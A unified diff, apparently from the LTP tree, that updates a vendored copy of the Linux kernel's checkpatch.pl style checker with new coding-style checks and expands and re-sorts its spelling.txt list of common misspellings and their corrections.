$stat =~ /^\+\s*($Lval)\s*\=\s*(?:$balanced_parens)?\s*(k[mz]alloc)\s*\(\s*($FuncArg)\s*\*\s*($FuncArg)\s*,/) { + $stat =~ /^\+\s*($Lval)\s*\=\s*(?:$balanced_parens)?\s*((?:kv|k)[mz]alloc)\s*\(\s*($FuncArg)\s*\*\s*($FuncArg)\s*,/) { my $oldfunc = $3; my $a1 = $4; my $a2 = $10; - my $newfunc = "kmalloc_array"; - $newfunc = "kcalloc" if ($oldfunc eq "kzalloc"); + my $newfunc = "kmalloc_objs"; + $newfunc = "kvmalloc_objs" if ($oldfunc eq "kvmalloc"); + $newfunc = "kvzalloc_objs" if ($oldfunc eq "kvzalloc"); + $newfunc = "kzalloc_objs" if ($oldfunc eq "kzalloc"); my $r1 = $a1; my $r2 = $a2; if ($a1 =~ /^sizeof\s*\S/) { @@ -7020,7 +7375,9 @@ sub process { "Prefer $newfunc over $oldfunc with multiply\n" . $herectx) && $cnt == 1 && $fix) { - $fixed[$fixlinenr] =~ s/\b($Lval)\s*\=\s*(?:$balanced_parens)?\s*(k[mz]alloc)\s*\(\s*($FuncArg)\s*\*\s*($FuncArg)/$1 . ' = ' . "$newfunc(" . trim($r1) . ', ' . trim($r2)/e; + my $sized = trim($r2); + $sized =~ s/^sizeof\s*\S\(?([^\)]*)\)?$/$1/; + $fixed[$fixlinenr] =~ s/\b($Lval)\s*\=\s*(?:$balanced_parens)?\s*((?:kv|k)[mz]alloc)\s*\(\s*($FuncArg)\s*\*\s*($FuncArg)/$1 . ' = ' . "$newfunc(" . $sized . ', ' . trim($r1)/e; } } } @@ -7034,7 +7391,7 @@ sub process { } # check for alloc argument mismatch - if ($line =~ /\b((?:devm_)?(?:kcalloc|kmalloc_array))\s*\(\s*sizeof\b/) { + if ($line =~ /\b((?:devm_)?((?:k|kv)?(calloc|malloc_array)(?:_node)?))\s*\(\s*sizeof\b/) { WARN("ALLOC_ARRAY_ARGS", "$1 uses number as first arg, sizeof is generally wrong\n" . $herecurr); } @@ -7190,10 +7547,10 @@ sub process { } # check for various structs that are normally const (ops, kgdb, device_tree) -# and avoid what seem like struct definitions 'struct foo {' +# and avoid what seem like struct definitions 'struct foo {' or forward declarations 'struct foo;' if (defined($const_structs) && $line !~ /\bconst\b/ && - $line =~ /\bstruct\s+($const_structs)\b(?!\s*\{)/) { + $line =~ /\bstruct\s+($const_structs)\b(?!\s*[\{;])/) { WARN("CONST_STRUCT", "struct $1 should normally be const\n" . $herecurr); } @@ -7237,6 +7594,16 @@ sub process { } } +# check for array definition/declarations that should use flexible arrays instead + if ($sline =~ /^[\+ ]\s*\}(?:\s*__packed)?\s*;\s*$/ && + $prevline =~ /^\+\s*(?:\}(?:\s*__packed\s*)?|$Type)\s*$Ident\s*\[\s*(0|1)\s*\]\s*;\s*$/) { + if (ERROR("FLEXIBLE_ARRAY", + "Use C99 flexible arrays - see https://docs.kernel.org/process/deprecated.html#zero-length-and-one-element-arrays\n" . $hereprev) && + $1 == '0' && $fix) { + $fixed[$fixlinenr - 1] =~ s/\[\s*0\s*\]/[]/; + } + } + # nested likely/unlikely calls if ($line =~ /\b(?:(?:un)?likely)\s*\(\s*!?\s*(IS_ERR(?:_OR_NULL|_VALUE)?|WARN)/) { WARN("LIKELY_MISUSE", @@ -7254,6 +7621,30 @@ sub process { } } +# Complain about RCU Tasks Trace used outside of BPF (and of course, RCU). + our $rcu_trace_funcs = qr{(?x: + rcu_read_lock_trace | + rcu_read_lock_trace_held | + rcu_read_unlock_trace | + call_rcu_tasks_trace | + synchronize_rcu_tasks_trace | + rcu_barrier_tasks_trace | + rcu_request_urgent_qs_task + )}; + our $rcu_trace_paths = qr{(?x: + kernel/bpf/ | + include/linux/bpf | + net/bpf/ | + kernel/rcu/ | + include/linux/rcu + )}; + if ($line =~ /\b($rcu_trace_funcs)\s*\(/) { + if ($realfile !~ m{^$rcu_trace_paths}) { + WARN("RCU_TASKS_TRACE", + "use of RCU tasks trace is incorrect outside BPF or core RCU code\n" . $herecurr); + } + } + # check for lockdep_set_novalidate_class if ($line =~ /^.\s*lockdep_set_novalidate_class\s*\(/ || $line =~ /__lockdep_no_validate__\s*\)/ ) { @@ -7395,6 +7786,13 @@ sub process { WARN("MODULE_LICENSE", "unknown module license " . $extracted_string . "\n" . $herecurr); } + if (!$file && $extracted_string eq '"GPL v2"') { + if (WARN("MODULE_LICENSE", + "Prefer \"GPL\" over \"GPL v2\" - see commit bf7fbeeae6db (\"module: Cure the MODULE_LICENSE \"GPL\" vs. \"GPL v2\" bogosity\")\n" . $herecurr) && + $fix) { + $fixed[$fixlinenr] =~ s/\bMODULE_LICENSE\s*\(\s*"GPL v2"\s*\)/MODULE_LICENSE("GPL")/; + } + } } # check for sysctl duplicate constants @@ -7402,6 +7800,37 @@ sub process { WARN("DUPLICATED_SYSCTL_CONST", "duplicated sysctl range checking value '$1', consider using the shared one in include/linux/sysctl.h\n" . $herecurr); } + +# Check that *_device_id tables have sentinel entries. + if (defined $stat && $line =~ /struct\s+$dev_id_types\s+\w+\s*\[\s*\]\s*=\s*\{/) { + my $stripped = $stat; + + # Strip diff line prefixes. + $stripped =~ s/(^|\n)./$1/g; + # Line continuations. + $stripped =~ s/\\\n/\n/g; + # Strip whitespace, empty strings, zeroes, and commas. + $stripped =~ s/""//g; + $stripped =~ s/0x0//g; + $stripped =~ s/[\s$;,0]//g; + # Strip field assignments. + $stripped =~ s/\.$Ident=//g; + + if (!(substr($stripped, -4) eq "{}};" || + substr($stripped, -6) eq "{{}}};" || + $stripped =~ /ISAPNP_DEVICE_SINGLE_END}};$/ || + $stripped =~ /ISAPNP_CARD_END}};$/ || + $stripped =~ /NULL};$/ || + $stripped =~ /PCMCIA_DEVICE_NULL};$/)) { + ERROR("MISSING_SENTINEL", "missing sentinel in ID array\n" . "$here\n$stat\n"); + } + } + +# check for uninitialized pointers with __free attribute + while ($line =~ /\*\s*($Ident)\s+__free\s*\(\s*$Ident\s*\)\s*[,;]/g) { + ERROR("UNINITIALIZED_PTR_WITH_FREE", + "pointer '$1' with __free attribute should be initialized\n" . $herecurr); + } } # If we have no input at all, then there is nothing to report on @@ -7426,6 +7855,12 @@ sub process { ERROR("NOT_UNIFIED_DIFF", "Does not appear to be a unified-diff format patch\n"); } + if ($is_patch && $has_commit_log && $chk_fixes_tag) { + if ($needs_fixes_tag ne "" && !$is_revert && !$fixes_tag) { + WARN("MISSING_FIXES_TAG", + "The commit message has '$needs_fixes_tag', perhaps it also needs a 'Fixes:' tag?\n"); + } + } if ($is_patch && $has_commit_log && $chk_signoff) { if ($signoff == 0) { ERROR("MISSING_SIGN_OFF", diff --git a/ltp/scripts/spelling.txt b/ltp/scripts/spelling.txt index 17fdc620..2f2e81db 100644 --- a/ltp/scripts/spelling.txt +++ b/ltp/scripts/spelling.txt @@ -23,8 +23,10 @@ absoulte||absolute acccess||access acceess||access accelaration||acceleration +accelearion||acceleration acceleratoin||acceleration accelleration||acceleration +accelrometer||accelerometer accesing||accessing accesnt||accent accessable||accessible @@ -55,19 +57,21 @@ acknowledgement||acknowledgment ackowledge||acknowledge ackowledged||acknowledged acording||according -activete||activate actived||activated +activete||activate actualy||actually +actvie||active acumulating||accumulating acumulative||accumulative acumulator||accumulator acutally||actually adapater||adapter +adddress||address +adderted||asserted addional||additional additionaly||additionally additonal||additional addres||address -adddress||address addreses||addresses addresss||address addrress||address @@ -91,9 +95,9 @@ alegorical||allegorical algined||aligned algorith||algorithm algorithmical||algorithmically +algorithmn||algorithm algoritm||algorithm algoritms||algorithms -algorithmn||algorithm algorrithm||algorithm algorritm||algorithm aligment||alignment @@ -120,20 +124,23 @@ alue||value ambigious||ambiguous ambigous||ambiguous amoung||among +amount of times||number of times amout||amount amplifer||amplifier amplifyer||amplifier -an union||a union -an user||a user -an userspace||a userspace -an one||a one analysator||analyzer ang||and anniversery||anniversary annoucement||announcement anomolies||anomalies anomoly||anomaly +an one||a one +anonynous||anonymous +an union||a union +an user||a user +an userspace||a userspace anway||anyway +apeared||appeared aplication||application appearence||appearance applicaion||application @@ -148,9 +155,11 @@ approriately||appropriately apropriate||appropriate aquainted||acquainted aquired||acquired +aquires||acquires aquisition||acquisition arbitary||arbitrary architechture||architecture +archtecture||architecture arguement||argument arguements||arguments arithmatic||arithmetic @@ -169,35 +178,41 @@ assigment||assignment assigments||assignments assistent||assistant assocaited||associated +assocated||associated assocating||associating assocation||association +assocative||associative associcated||associated assotiated||associated asssert||assert assum||assume assumtpion||assumption +asume||assume asuming||assuming +asychronous||asynchronous asycronous||asynchronous -asynchnous||asynchronous -asynchromous||asynchronous asymetric||asymmetric asymmeric||asymmetric +asynchnous||asynchronous +asynchrnous||asynchronous +asynchromous||asynchronous +asynchronus||asynchronous +atempt||attempt atleast||at least atomatically||automatically atomicly||atomically -atempt||attempt atrributes||attributes attachement||attachment attatch||attach attched||attached attemp||attempt -attemps||attempts attemping||attempting +attemps||attempts attepmpt||attempt attnetion||attention attruibutes||attributes -authentification||authentication authenicated||authenticated +authentification||authentication automaticaly||automatically automaticly||automatically automatize||automate @@ -207,6 +222,7 @@ autonymous||autonomous auxillary||auxiliary auxilliary||auxiliary avaiable||available +avaialable||available avaible||available availabe||available availabled||available @@ -230,6 +246,7 @@ baloons||balloons bandwith||bandwidth banlance||balance batery||battery +battey||battery beacuse||because becasue||because becomming||becoming @@ -240,7 +257,9 @@ begining||beginning beter||better betweeen||between bianries||binaries +binded||bound bitmast||bitmask +bitwiedh||bitwidth boardcast||broadcast borad||board boundry||boundary @@ -249,14 +268,18 @@ brigde||bridge broadcase||broadcast broadcat||broadcast bufer||buffer +bufferred||buffered +bufferur||buffer bufufer||buffer cacluated||calculated caculate||calculate caculation||calculation cadidate||candidate cahces||caches +calcluate||calculate calender||calendar calescing||coalescing +calibraiton||calibration calle||called callibration||calibration callled||called @@ -265,22 +288,29 @@ calucate||calculate calulate||calculate cancelation||cancellation cancle||cancel +cannnot||cannot +cann't||can't canot||cannot +cant'||can't +cant||can't +capabiity||capability capabilites||capabilities capabilties||capabilities capabilty||capability capabitilies||capabilities capablity||capability -capatibilities||capabilities capapbilities||capabilities +capatibilities||capabilities +captuer||capture caputure||capture carefuly||carefully cariage||carriage +casued||caused catagory||category cehck||check +chache||cache challange||challenge challanges||challenges -chache||cache chanell||channel changable||changeable chanined||chained @@ -302,12 +332,14 @@ chiled||child chked||checked chnage||change chnages||changes +chnange||change chnnel||channel choosen||chosen chouse||chose circumvernt||circumvent claread||cleared clared||cleared +clearify||clarify closeing||closing clustred||clustered cnfiguration||configuration @@ -316,6 +348,7 @@ colescing||coalescing collapsable||collapsible colorfull||colorful comand||command +comaptible||compatible comit||commit commerical||commercial comming||coming @@ -323,11 +356,9 @@ comminucation||communication commited||committed commiting||committing committ||commit +commmand||command commnunication||communication commoditiy||commodity -comsume||consume -comsumer||consumer -comsuming||consuming compability||compatibility compaibility||compatibility comparsion||comparison @@ -343,20 +374,28 @@ compleatly||completely completition||completion completly||completely complient||compliant -componnents||components compoment||component +componnents||components comppatible||compatible compres||compress compresion||compression +compresser||compressor comression||compression +comsume||consume +comsumed||consumed +comsumer||consumer +comsuming||consuming comunicate||communicate comunication||communication conbination||combination +concurent||concurrent conditionaly||conditionally conditon||condition +condtional||conditional condtion||condition conected||connected conector||connector +configed||configured configration||configuration configred||configured configuartion||configuration @@ -366,8 +405,10 @@ configuratoin||configuration configuraton||configuration configuretion||configuration configutation||configuration +congiuration||configuration conider||consider conjuction||conjunction +connction||connection connecetd||connected connectinos||connections connetor||connector @@ -375,6 +416,8 @@ connnection||connection connnections||connections consistancy||consistency consistant||consistent +consits||consists +constructred||constructed containes||contains containts||contains contaisn||contains @@ -385,13 +428,14 @@ continious||continuous continous||continuous continously||continuously continueing||continuing -contraints||constraints -contruct||construct +contiuous||continuous contol||control contoller||controller +contraints||constraints controled||controlled controler||controller controll||control +contruct||construct contruction||construction contry||country conuntry||country @@ -407,8 +451,11 @@ cotrol||control cound||could couter||counter coutner||counter +creationg||creating cryptocraphic||cryptographic +cummulative||cumulative cunter||counter +curent||current curently||currently cylic||cyclic dafault||default @@ -419,8 +466,9 @@ debouce||debounce decendant||descendant decendants||descendants decompres||decompress -decsribed||described +decrese||decrease decription||description +decsribed||described dectected||detected defailt||default deferal||deferral @@ -429,22 +477,25 @@ defferred||deferred definate||definite definately||definitely definiation||definition +definiton||definition defintion||definition defintions||definitions defualt||default defult||default -deintializing||deinitializing -deintialize||deinitialize deintialized||deinitialized +deintialize||deinitialize +deintializing||deinitializing deivce||device delared||declared delare||declare delares||declares delaring||declaring delemiter||delimiter +deley||delay +delibrately||deliberately delievered||delivered -demodualtor||demodulator demension||dimension +demodualtor||demodulator dependancies||dependencies dependancy||dependency dependant||dependent @@ -457,11 +508,12 @@ desciptors||descriptors descripto||descriptor descripton||description descrition||description +descritpor||descriptor descritptor||descriptor desctiptor||descriptor +desination||destination desriptor||descriptor desriptors||descriptors -desination||destination destionation||destination destoried||destroyed destory||destroy @@ -469,8 +521,11 @@ destoryed||destroyed destorys||destroys destroied||destroyed detabase||database +detault||default deteced||detected +detecion||detection detectt||detect +detroyed||destroyed develope||develop developement||development developped||developed @@ -481,44 +536,49 @@ deveolpment||development devided||divided deviece||device devision||division -diable||disable diabled||disabled +diable||disable dicline||decline +diconnected||disconnected dictionnary||dictionary didnt||didn't diferent||different +differenciate||differentiate differrence||difference +diffreential||differential diffrent||different -differenciate||differentiate diffrentiate||differentiate difinition||definition digial||digital dimention||dimension dimesions||dimensions -diconnected||disconnected -disabed||disabled -disble||disable -disgest||digest -disired||desired -dispalying||displaying diplay||display -directon||direction direcly||directly +directon||direction direectly||directly diregard||disregard -disassocation||disassociation +disabed||disabled disapear||disappear disapeared||disappeared disappared||disappeared -disbale||disable +disasembler||disassembler +disassocation||disassociation +disassocative||disassociative disbaled||disabled -disble||disable +disbale||disable disbled||disabled +disble||disable +disble||disable disconnet||disconnect discontinous||discontinuous +disgest||digest disharge||discharge +disired||desired disnabled||disabled +dispalying||displaying dispertion||dispersion +dissable||disable +dissapeared||disappeared dissapears||disappears dissconect||disconnect distiction||distinction @@ -538,6 +598,7 @@ downlads||downloads droped||dropped droput||dropout druing||during +dsiabled||disabled dyanmic||dynamic dynmaic||dynamic eanable||enable @@ -554,25 +615,27 @@ eigth||eight elementry||elementary eletronic||electronic embeded||embedded +emtpy||empty enabledi||enabled enbale||enable enble||enable enchanced||enhanced encorporating||incorporating encrupted||encrypted +encryped||encrypted encrypiton||encryption encryptio||encryption endianess||endianness -enpoint||endpoint enhaced||enhanced enlightnment||enlightenment +enocded||encoded +enought||enough +enpoint||endpoint enqueing||enqueuing +enterily||entirely entires||entries entites||entities entrys||entries -enocded||encoded -enought||enough -enterily||entirely enviroiment||environment enviroment||environment environement||environment @@ -590,11 +653,15 @@ etsbalishment||establishment evalute||evaluate evalutes||evaluates evalution||evaluation +evaulated||evaluated +exaclty||exactly +excceed||exceed excecutable||executable exceded||exceeded exceds||exceeds exceeed||exceed excellant||excellent +exchnage||exchange execeeded||exceeded execeeds||exceeds exeed||exceed @@ -604,34 +671,40 @@ existance||existence existant||existent exixt||exist exlcude||exclude +exlcuding||excluding exlcusive||exclusive +exlicitly||explicitly +exlusive||exclusive exmaple||example expecially||especially experies||expires explicite||explicit explicitely||explicitly -explict||explicit +explicity||explicitly explictely||explicitly +explict||explicit explictly||explicitly expresion||expression +exprienced||experienced exprimental||experimental -extened||extended +exsits||exists exteneded||extended +extened||extended extensability||extensibility -extention||extension extenstion||extension +extention||extension extracter||extractor faied||failed faield||failed -faild||failed failded||failed +faild||failed failer||failure -faill||fail failied||failed +faill||fail faillure||failure +failng||failing failue||failure failuer||failure -failng||failing faireness||fairness falied||failed faliure||failure @@ -642,34 +715,40 @@ feauture||feature feautures||features fetaure||feature fetaures||features +fetcing||fetching fileystem||filesystem fimrware||firmware fimware||firmware -firmare||firmware -firmaware||firmware -firware||firmware -firwmare||firmware finanize||finalize findn||find finilizes||finalizes finsih||finish +firmare||firmware +firmaware||firmware +firtly||firstly +firware||firmware +firwmare||firmware +fliter||filter flusing||flushing folloing||following followign||following followings||following follwing||following fonud||found +forcebly||forcibly forseeable||foreseeable forse||force fortan||fortran forwardig||forwarding +forwared||forwarded frambuffer||framebuffer framming||framing framwork||framework +frequancy||frequency frequence||frequency frequncy||frequency -frequancy||frequency frome||from +fronend||frontend fucntion||function fuction||function fuctions||functions @@ -689,10 +768,12 @@ gatable||gateable gateing||gating gauage||gauge gaurenteed||guaranteed -generiously||generously genereate||generate genereted||generated +generiously||generously genric||generic +gerenal||general +geting||getting globel||global grabing||grabbing grahical||graphical @@ -700,6 +781,7 @@ grahpical||graphical granularty||granularity grapic||graphic grranted||granted +grups||groups guage||gauge guarenteed||guaranteed guarentee||guarantee @@ -710,27 +792,32 @@ hanlde||handle hanled||handled happend||happened hardare||hardware +hardward||hardware harware||hardware havind||having +hearbeat||heartbeat +heigth||height +heirachy||hierarchy heirarchically||hierarchically heirarchy||hierarchy helpfull||helpful -hearbeat||heartbeat heterogenous||heterogeneous hexdecimal||hexadecimal -hybernate||hibernate +hiearchy||hierarchy hierachy||hierarchy hierarchie||hierarchy homogenous||homogeneous +horizental||horizontal howver||however hsould||should +hybernate||hibernate hypervior||hypervisor hypter||hyper +idel||idle identidier||identifier iligal||illegal -illigal||illegal illgal||illegal -iomaped||iomapped +illigal||illegal imblance||imbalance immeadiately||immediately immedaite||immediate @@ -745,15 +832,17 @@ implemantation||implementation implemenation||implementation implementaiton||implementation implementated||implemented -implemention||implementation implementd||implemented +implemention||implementation implemetation||implementation implemntation||implementation implentation||implementation implmentation||implementation implmenting||implementing +inavlid||invalid incative||inactive incomming||incoming +incompaitiblity||incompatibility incompatabilities||incompatibilities incompatable||incompatible incompatble||incompatible @@ -771,6 +860,7 @@ independed||independent indiate||indicate indicat||indicate inexpect||inexpected +infalte||inflate inferface||interface infinit||infinite infomation||information @@ -779,38 +869,42 @@ informations||information informtion||information infromation||information ingore||ignore +inheritence||inheritance inital||initial -initalized||initialized initalised||initialized initalise||initialize +initalized||initialized initalize||initialize initation||initiation initators||initiators initialiazation||initialization initializationg||initialization initializiation||initialization -initialze||initialize +initializtion||initialization initialzed||initialized +initialze||initialize initialzing||initializing initilization||initialization +initilized||initialized initilize||initialize initliaze||initialize -initilized||initialized inofficial||unofficial inrerface||interface insititute||institute instace||instance instal||install -instanciate||instantiate instanciated||instantiated +instanciate||instantiate instuments||instruments insufficent||insufficient +intead||instead inteface||interface integreated||integrated integrety||integrity integrey||integrity intendet||intended intented||intended +interal||internal interanl||internal interchangable||interchangeable interferring||interfering @@ -819,15 +913,16 @@ intergrated||integrated intermittant||intermittent internel||internal interoprability||interoperability -interuupt||interrupt -interupt||interrupt -interupts||interrupts interrface||interface interrrupt||interrupt interrup||interrupt interrups||interrupts interruptted||interrupted interupted||interrupted +interupt||interrupt +interupts||interrupts +interurpt||interrupt +interuupt||interrupt intiailized||initialized intial||initial intialisation||initialisation @@ -841,18 +936,18 @@ intrerrupt||interrupt intrrupt||interrupt intterrupt||interrupt intuative||intuitive -inavlid||invalid invaid||invalid invaild||invalid invailid||invalid -invald||invalid invalde||invalid +invald||invalid invalide||invalid invalidiate||invalidate invalud||invalid invididual||individual invokation||invocation invokations||invocations +iomaped||iomapped ireelevant||irrelevant irrelevent||irrelevant isnt||isn't @@ -862,12 +957,14 @@ iteraions||iterations iternations||iterations itertation||iteration itslef||itself +ivalid||invalid jave||java jeffies||jiffies jumpimng||jumping juse||just jus||just kown||known +lable||label langage||language langauage||language langauge||language @@ -896,11 +993,11 @@ losted||lost maangement||management machinary||machinery maibox||mailbox +mailformed||malformed maintainance||maintenance maintainence||maintenance maintan||maintain makeing||making -mailformed||malformed malplaced||misplaced malplace||misplace managable||manageable @@ -910,23 +1007,27 @@ mangement||management manger||manager manoeuvering||maneuvering manufaucturing||manufacturing -mappping||mapping maping||mapping +mappping||mapping matchs||matches mathimatical||mathematical mathimatic||mathematic mathimatics||mathematics maximium||maximum maxium||maximum +maxmium||maximum mechamism||mechanism +mechanim||mechanism meetign||meeting memeory||memory memmber||member memoery||memory +memomry||memory memroy||memory ment||meant mergable||mergeable mesage||message +mesages||messages messags||messages messgaes||messages messsage||message @@ -935,18 +1036,22 @@ metdata||metadata micropone||microphone microprocesspr||microprocessor migrateable||migratable +miliseconds||milliseconds +millenium||millennium milliseonds||milliseconds -minium||minimum minimam||minimum +minimim||minimum +minimun||minimum +minium||minimum miniumum||minimum minumum||minimum misalinged||misaligned miscelleneous||miscellaneous misformed||malformed -mispelled||misspelled -mispelt||misspelt mising||missing mismactch||mismatch +mispelled||misspelled +mispelt||misspelt missign||missing missmanaged||mismanaged missmatch||mismatch @@ -956,19 +1061,20 @@ mmnemonic||mnemonic mnay||many modfiy||modify modifer||modifier +modul||module modulues||modules momery||memory -memomry||memory monitring||monitoring monochorome||monochrome monochromo||monochrome monocrome||monochrome mopdule||module mroe||more -multipler||multiplier +muliple||multiple mulitplied||multiplied multidimensionnal||multidimensional multipe||multiple +multipler||multiplier multple||multiple mumber||number muticast||multicast @@ -989,15 +1095,20 @@ negotation||negotiation nerver||never nescessary||necessary nessessary||necessary +none existent||non-existent +notfify||notify noticable||noticeable notication||notification notications||notifications notifcations||notifications notifed||notified +notifer||notifier notity||notify nubmer||number numebr||number +numer||number numner||number +nunber||number obtaion||obtain obusing||abusing occassionally||occasionally @@ -1009,17 +1120,20 @@ occured||occurred occurence||occurrence occure||occurred occuring||occurring -offser||offset +ocurrence||occurrence offet||offset offlaod||offload offloded||offloaded +offser||offset offseting||offsetting +oflload||offload omited||omitted omiting||omitting omitt||omit ommiting||omitting ommitted||omitted onself||oneself +onthe||on the ony||only openning||opening operatione||operation @@ -1029,23 +1143,25 @@ optionnal||optional optmizations||optimizations orientatied||orientated orientied||oriented -orignal||original originial||original +orignal||original +orphanded||orphaned otherise||otherwise ouput||output oustanding||outstanding +oveflow||overflow overaall||overall +overflw||overflow overhread||overhead +overide||override overlaping||overlapping -overflw||overflow overlfow||overflow -overide||override overrided||overridden overriden||overridden overrrun||overrun overun||overrun -overwritting||overwriting overwriten||overwritten +overwritting||overwriting pacakge||package pachage||package packacge||package @@ -1055,10 +1171,12 @@ packtes||packets pakage||package paket||packet pallette||palette +palne||plane paln||plan paramameters||parameters -paramaters||parameters paramater||parameter +paramaters||parameters +paramenters||parameters parametes||parameters parametised||parametrised paramter||parameter @@ -1085,12 +1203,16 @@ perfomring||performing periperal||peripheral peripherial||peripheral permissons||permissions +permited||permitted peroid||period persistance||persistence persistant||persistent phoneticly||phonetically +pipline||pipeline +plaform||platform plalform||platform platfoem||platform +platfomr||platform platfrom||platform plattform||platform pleaes||please @@ -1102,9 +1224,11 @@ poiter||pointer posible||possible positon||position possibilites||possibilities +postion||position potocol||protocol powerfull||powerful pramater||parameter +preambule||preamble preamle||preamble preample||preamble preapre||prepare @@ -1113,6 +1237,7 @@ preceeding||preceding preceed||precede precendence||precedence precission||precision +predicition||prediction preemptable||preemptible prefered||preferred prefferably||preferably @@ -1125,21 +1250,27 @@ preperation||preparation preprare||prepare pressre||pressure presuambly||presumably +previleged||privileged +previlege||privilege previosuly||previously +previsously||previously primative||primitive princliple||principle priorty||priority +priting||printing privilaged||privileged privilage||privilege +priviledged||privileged priviledge||privilege priviledges||privileges privleges||privileges +probabalistic||probabilistic probaly||probably procceed||proceed proccesors||processors procesed||processed -proces||process procesing||processing +proces||process processessing||processing processess||processes processpr||processor @@ -1154,10 +1285,12 @@ programable||programmable programers||programmers programm||program programms||programs +progres||progress progresss||progress prohibitted||prohibited prohibitting||prohibiting promiscous||promiscuous +promixity||proximity promps||prompts pronnounced||pronounced prononciation||pronunciation @@ -1166,15 +1299,14 @@ pronunce||pronounce propery||property propigate||propagate propigation||propagation -propogation||propagation propogate||propagate +propogation||propagation prosess||process protable||portable protcol||protocol protecion||protection protedcted||protected protocoll||protocol -promixity||proximity psudo||pseudo psuedo||pseudo psychadelic||psychedelic @@ -1182,12 +1314,15 @@ purgable||purgeable pwoer||power queing||queuing quering||querying +querrying||querying queus||queues randomally||randomly raoming||roaming +readyness||readiness reasearcher||researcher reasearchers||researchers reasearch||research +recalcualte||recalculate receieve||receive recepient||recipient recevied||received @@ -1201,7 +1336,9 @@ recieving||receiving recogniced||recognised recognizeable||recognizable recommanded||recommended +recompte||recompute recyle||recycle +redect||reject redircet||redirect redirectrion||redirection redundacy||redundancy @@ -1210,13 +1347,16 @@ refcounf||refcount refence||reference refered||referred referenace||reference +referencce||reference +refererence||reference refering||referring refernces||references refernnce||reference refrence||reference +regiser||register registed||registered -registerd||registered registeration||registration +registerd||registered registeresd||registered registerred||registered registes||registers @@ -1234,26 +1374,32 @@ remoote||remote remore||remote removeable||removable repectively||respectively +repective||respective replacable||replaceable replacments||replacements replys||replies reponse||response representaion||representation +repsonse||response +reqested||requested reqeust||request reqister||register requed||requeued requestied||requested requiere||require +requieres||requires requirment||requirement requred||required requried||required -requst||request requsted||requested +requst||request reregisteration||reregistration reseting||resetting reseved||reserved reseverd||reserved resizeable||resizable +resonable||reasonable +resotre||restore resouce||resource resouces||resources resoures||resources @@ -1268,16 +1414,17 @@ retransmited||retransmitted retreived||retrieved retreive||retrieve retreiving||retrieving -retrive||retrieve retrived||retrieved +retrive||retrieve retrun||return -retun||return retuned||returned +retun||return reudce||reduce reuest||request reuqest||request reutnred||returned revsion||revision +rewritting||rewriting rmeoved||removed rmeove||remove rmeoves||removes @@ -1286,11 +1433,14 @@ routins||routines rquest||request runing||running runned||ran +runnnig||running runnning||running runtine||runtime sacrifying||sacrificing safly||safely safty||safety +satify||satisfy +satisifed||satisfied savable||saveable scaleing||scaling scaned||scanned @@ -1316,18 +1466,20 @@ seperate||separate seperatly||separately seperator||separator sepperate||separate -seqeunce||sequence -seqeuncer||sequencer seqeuencer||sequencer +seqeuncer||sequencer +seqeunce||sequence sequece||sequence sequemce||sequence sequencial||sequential serivce||service serveral||several servive||service +sesion||session setts||sets settting||setting shapshot||snapshot +shoft||shift shotdown||shutdown shoud||should shouldnt||shouldn't @@ -1341,16 +1493,21 @@ similiar||similar simlar||similar simliar||similar simpified||simplified +simultaneusly||simultaneously +simultanous||simultaneous singaled||signaled singal||signal singed||signed +slect||select sleeped||slept sliped||slipped softwade||software softwares||software soley||solely +soluation||solution souce||source speach||speech +specfication||specification specfic||specific specfield||specified speciefied||specified @@ -1360,8 +1517,8 @@ specificatin||specification specificaton||specification specificed||specified specifing||specifying -specifiy||specify specifiying||specifying +specifiy||specify speficied||specified speicify||specify speling||spelling @@ -1380,6 +1537,7 @@ standart||standard standy||standby stardard||standard staticly||statically +statisitcs||statistics statuss||status stoped||stopped stoping||stopping @@ -1387,22 +1545,23 @@ stoppped||stopped straming||streaming struc||struct structres||structures -stuct||struct strucuture||structure +stuct||struct stucture||structure sturcture||structure subdirectoires||subdirectories suble||subtle -substract||subtract submited||submitted submition||submission +substract||subtract succeded||succeeded -suceed||succeed succesfully||successfully succesful||successful +succesfuly||successfully successed||succeeded successfull||successful successfuly||successfully +suceed||succeed sucessfully||successfully sucessful||successful sucess||success @@ -1411,8 +1570,9 @@ superseeded||superseded suplied||supplied suported||supported suport||support -supportet||supported suppored||supported +supporing||supporting +supportet||supported supportin||supporting suppoted||supported suppported||supported @@ -1423,59 +1583,69 @@ surpressed||suppressed surpresses||suppresses susbsystem||subsystem suspeneded||suspended -suspsend||suspend suspicously||suspiciously +suspsend||suspend swaping||swapping switchs||switches -swith||switch swithable||switchable -swithc||switch swithced||switched swithcing||switching +swithc||switch swithed||switched swithing||switching +swith||switch swtich||switch +sychronization||synchronization +sychronously||synchronously syfs||sysfs symetric||symmetric synax||syntax synchonized||synchronized synchronuously||synchronously -syncronize||synchronize syncronized||synchronized +syncronize||synchronize syncronizing||synchronizing syncronus||synchronous syste||system sytem||system sythesis||synthesis +tagert||target taht||that +tained||tainted +tansition||transition tansmit||transmit +tarffic||traffic targetted||targeted targetting||targeting taskelt||tasklet teh||the +temeprature||temperature temorary||temporary -temproarily||temporarily temperture||temperature -thead||thread +temproarily||temporarily +theads||threads therfore||therefore thier||their threds||threads threee||three threshhold||threshold thresold||threshold +throtting||throttling throught||through -trackling||tracking -troughput||throughput -trys||tries thses||these -tiggers||triggers tiggered||triggered -tipically||typically +tiggerring||triggering +tiggers||triggers timeing||timing +timming||timing timout||timeout +tipically||typically tmis||this +tolarance||tolerance toogle||toggle torerable||tolerable +torlence||tolerance +trackling||tracking traget||target traking||tracking tramsmitted||transmitted @@ -1484,34 +1654,44 @@ tranasction||transaction tranceiver||transceiver tranfer||transfer tranmission||transmission +tranport||transport transcevier||transceiver transciever||transceiver transferd||transferred transfered||transferred transfering||transferring transision||transition +transistioned||transitioned transmittd||transmitted transormed||transformed +trasaction||transaction trasfer||transfer trasmission||transmission +trasmitter||transmitter treshold||threshold -triggerd||triggered trigerred||triggered trigerring||triggering +trigged||triggered +triggerd||triggered +troughput||throughput trun||turn +trys||tries tunning||tuning ture||true tyep||type udpate||update uesd||used uknown||unknown -usccess||success +unamed||unnamed uncommited||uncommitted uncompatible||incompatible +uncomressed||uncompressed unconditionaly||unconditionally undeflow||underflow +undelying||underlying underun||underrun unecessary||unnecessary +uneeded||unneeded unexecpted||unexpected unexepected||unexpected unexpcted||unexpected @@ -1520,39 +1700,47 @@ unexpeted||unexpected unexpexted||unexpected unfortunatelly||unfortunately unifiy||unify -uniterrupted||uninterrupted +uninterruptable||uninterruptible unintialized||uninitialized +uniterrupted||uninterrupted unitialized||uninitialized unkmown||unknown unknonw||unknown unknouwn||unknown unknow||unknown 